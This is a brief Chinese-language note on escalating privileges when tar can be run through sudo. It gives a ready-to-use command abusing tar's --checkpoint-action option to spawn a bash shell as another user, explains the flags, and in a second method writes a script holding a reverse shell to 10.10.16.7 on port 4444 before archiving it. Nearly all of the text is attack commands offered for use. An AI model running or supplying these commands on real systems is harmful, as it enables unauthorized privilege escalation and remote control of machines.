tar提权

当某台机器给予tar sudo更高权限的时候可以尝试使用以下方式来提权

方法一

 sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

借用tar检查点功能实现提权

-c 建立一个新的压缩文档

-f 指定压缩文档

--checkpoint=n 每写入n项记录进行一次检查点操作

--checkpoint-action每次到检查点时执行的操作，语法格式符合shell脚本

像上面我举出的例子意思就是每到一个检查点就放出一个onuma权限的窗口

同样写入其他的命令比如说

--checkpoint-action=exec=“echo 123”
--checkpoint-action=echo=123
--checkpoint-action=exec=“Hit %s checkpoint#%U”

方法二

把命令写入一个sh文件中，然后打包，让他显示操作过程

echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.16.7/4444 0>&1' > bmfx.sh

tar -cvf bmfx.tar bmfx.sh